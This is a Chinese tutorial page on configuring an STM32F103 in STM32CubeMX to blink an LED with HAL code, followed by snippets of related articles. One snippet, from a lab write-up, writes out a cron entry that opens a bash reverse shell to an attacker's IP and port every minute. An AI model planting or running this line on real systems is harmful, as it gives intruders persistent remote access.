从0开始的STM32HAL库学习1

基础外设初始化配置步骤

本学习以stm32f103c8t6为主控芯片学习。配合DMK-Keil使用,因为cubeide我还没找到很好的教程,而且用了几次发现不会用,所以还是先学习hal库,等hal库学习完之后再用学习使用cubeide,两者使用应该大差不差,主要还是先会使用cubemx

新建工程

1在主界面选择File-->New Project   或者直接点击ACCEE TO MCU SELECTOR   

搜索自己板子的芯片,就可以了,双击创造工程

接下来会到这个界面, 

在右边这个芯片中

      这种颜色表示不可配置引脚  电源专用引脚以黄色突出显示。其配置不能更改

这种颜色表示你配置了一个I/O口的功能,但是没有初始化相对应的外设功能  引脚处于no mode 状态  

  绿色表示配置成功

GPIO口的配置

这里只需要把我们的LED对应引脚设置为GPIO_Output即可

我们将PA1上接上一个led灯,将PA1设置为GPIO_Output。

时钟源设置

点到clock_configuration中配置时钟树

其实也就是32的时钟树框图让你配置  默认时钟是使用内部RC振荡器(HSI) 

在配置时钟前需要将

 RCC配置为外部晶振即crystal resonator

这里也可以将SYS中的debug改为Serial Wire这样就方便调试了。

之后再点到clock_configuration中配置时钟树

 将途中所框的改为72,就配置完成了

工程管理

点到Project Manager

需要配置红色框框中的几个配置,分别为文件名,文件存放地址和选择IDE 

我是配置成如图所示(IDE选择MDK_ARM就是keil编译器)

注意点:存储目录不可以有中文

接着点到code generator中

勾选红框中所选配置。每个外设都配置单独的.c和.h文件。这样方便我们管理和写代码。

生成代码

点击即可。

代开代码

我们将会看到我们的不少代码以及生成了,我们只需要填写关键代码即可。

我们找到while(1)

while (1)
  {
    /* USER CODE END WHILE */
    HAL_Delay(500);
    HAL_GPIO_TogglePin(GPIOA, GPIO_PIN_1);
    /* USER CODE BEGIN 3 */
  }
  /* USER CODE END 3 */
}

 将代码设置成这样。

注意!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

所有自己编写的代码请放在/* USER CODE BEGIN XXX */   /* USER CODE END XXX */之间 

 这样我们修改工程的时候你自己写的代码就不会被删除

各个注释的翻译解释

到此,STM32CubeMX的基本使用介绍完了。我们也成功使一颗led闪烁了 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/789977.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【论文阅读】Characterization of Large Language Model Development in the Datacenter

26.Characterization of Large Language Model Development in the Datacenter 出处: NSDI-2024 数据中心中大型语言模型开发的表征InternLM/AcmeTrace (github.com) 摘要 大语言模型(LLMs)在许多任务中表现出色。然而,要高效利用大规模集…

技术速递|宣布为 .NET 升级助手提供第三方 API 和包映射支持

作者:Marco Goertz 排版:Alan Wang .NET 升级助手是一个 Visual Studio 扩展和命令行工具,可帮助您将应用从之前的 .NET 和 .NET Framework 升级到最新版本的 .NET。正如我们在之前的文章中所描述的那样,它为升级 Microsoft 库和框…

短视频矩阵系统多账号搭建技术源码(saas开发者技术独立搭建)

在构建云服务环境以部署虚拟机方面,以Amazon Web Services(AWS)为示例,需采购并配置适当数量的EC2实例以及相关网络设施。 接下来,根据业务需求,应创建多个社交媒体平台如抖音和快手的官方账户,…

(一)、python程序--模拟电脑鼠走迷宫

一、绪论 1、简介 电脑鼠走迷宫是一种比赛,制作实物电脑鼠小车在迷宫找目标点,用时最短者获胜。考验参赛选手软硬件结合的能力。 2、走迷宫模拟软件中已实现功能 1、点击迷宫墙壁可编辑迷宫,并且可保存和加载迷宫形状文件; 2、…

设计模式探索:适配器模式

1. 适配器模式介绍 1.1 适配器模式介绍 适配器模式(adapter pattern)的原始定义是:将一个类的接口转换为客户期望的另一个接口,适配器可以让不兼容的两个类一起协同工作。 适配器模式的主要作用是把原本不兼容的接口&#xff0c…

告别推广分成结算烦恼,Xinstall助力精准统计,让收益一目了然!

在快速变化的互联网环境中,App的推广与运营面临着前所未有的挑战。传统的营销手段已经难以应对当前复杂的市场环境,特别是在推广分成结算这一环节,往往成为众多企业的痛点。然而,有了Xinstall的加入,这一切都将变得不同…

centos系统查找mysql的配置文件位置

执行命令查找mysql的安装目录: which mysql cd进入mysql的安装目录 cd /usr/bin 查找配置文件位置 ./mysql --help | grep "my.cnf" 定位配置文件 cd /etc 查找命令还可以用find命令 find / -name "my.cnf"

第六次作业

一、视图作业 1、创建视图v_emp_dept_id_1,查询销售部门的员工姓名和家庭住址 2、创建视图v_emp_dept,查询销售部门员工姓名和家庭住址及部门名称。 3、创建视图v_dept_emp_count(dept_name,emp_count,avg_salay),统计每个部门人数并计算平均…

78000A 信号分析软件

思仪(Ceyear) 78000A 信号分析软件 78000A 信号分析软件是一款能够在电脑上运行的应用软件,预留了开放式的 SCPI 控制指令,可以远程控制信号/频谱分析仪采集数据,也可以回放仿真数据或者采集的历史数据文件,执行通用频谱测量、矢…

RK3568平台(opencv篇)opencv处理图像视频

一.读取图像文件并展示 灰度图像: 灰度图需要用 8 位二进制来表示,取值范围是 0-255。用 0 表示 0(黑色), 用 255 表示 1(白色),取值越大表示该点越亮。 RGB 彩色图像:…

愚人杯的RE题

easy_pyc pyc反编译成py文件 # uncompyle6 version 3.9.1 # Python bytecode version base 2.7 (62211) # Decompiled from: Python 3.11.8 (tags/v3.11.8:db85d51, Feb 6 2024, 22:03:32) [MSC v.1937 64 bit (AMD64)] # Embedded file name: enpyc.py # Compiled at: 2023…

realsense D435l+mid360标定

目录 一、安装realsense环境 二、获取realsense D450L相机内参 三、标定雷达和相机 1.下载livox_camera_calib 2.修改配置参数 3.使用fastlio生成点云 4.标定 一、安装realsense环境 git clone https://github.com/IntelRealSense/librealsense.git cd librealsense //更…

ubuntu计划任务反弹

实验环境 攻击者 操作系统:kali IP:192.168.244.141 目标主机 操作系统:ubuntu IP:192.168.244.151 实验步骤 目标主机构造任务计划 构造语句 * * * * * /bin/bash -c bash -i >& /dev/tcp/{ip}/{port} 0>&…

硅谷甄选运营平台-vue3组件通信方式

vue3组件通信方式 vue2组件通信方式: props:可以实现父子组件、子父组件、甚至兄弟组件通信自定义事件:可以实现子父组件通信全局事件总线$bus:可以实现任意组件通信pubsub:发布订阅模式实现任意组件通信vuex:集中式状态管理容器,实现任意组件通信ref:父…

德语中含“Augen”的惯用语表达-柯桥小语种学习德语考级

在我们的德语学习过程中,除了词汇的记忆,另一项重要的记忆任务就是惯用语的背诵啦。要知道,德语中有大量的Redewendung,他们以其言简意赅的表达,在日常用语中备受青睐。上一期我们已经学习了部分含有“Hand”的惯用语&…

深入解析视频美颜SDK:开发直播平台主播专用的美颜工具教学

本篇文章,笔者将深入解析视频美颜SDK的原理与应用,帮助开发者打造适用于直播平台的专业美颜工具。 一、视频美颜SDK的基础原理 视频美颜SDK其核心技术包括人脸检测、面部特征点识别、图像增强和特效应用等。 二、视频美颜SDK的开发流程 环境搭建 首先…

怎么选择渲染农场?渲染100邀请码1a12

市面上的渲染农场那么多,到底选择哪一个呢?这次我给大家提供几个指标,以供参考。 1、机器性能:农场的机器性能会直接影响到渲染速度,速度越快项目就能越早完成,所以机器性能是重要的衡量指标。2、渲染价格…

凌风云 - 十大网盘资源搜索 Ver 6.0 版正式上线

《凌风云》作为网盘资源专业搜索领域的佼佼者,汇聚了国内十大网盘的丰富资源,凌风云搜索弥补其他搜索引擎可能无法搜索到相关资源的缺陷,作为专业的搜索引擎服务网络平台,您只需输入关键词,通过智能算法精准匹配&#…

java:字符缓冲流特有功能

BufferedWriter: void newLine():写一行行分隔符,行分隔符字符串由系统属性定义 BufferedReader: public String readLine():读一行文字,结果包含行的内容的字…

4. 小迪安全v2023笔记 javaEE应用

4. 小迪安全v2023笔记 javaEE应用 ​ 大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。 若有冒犯,麻烦私信移除。 默认有java基础。 文章目录 4. 小迪安全v2023笔记 javaEE应…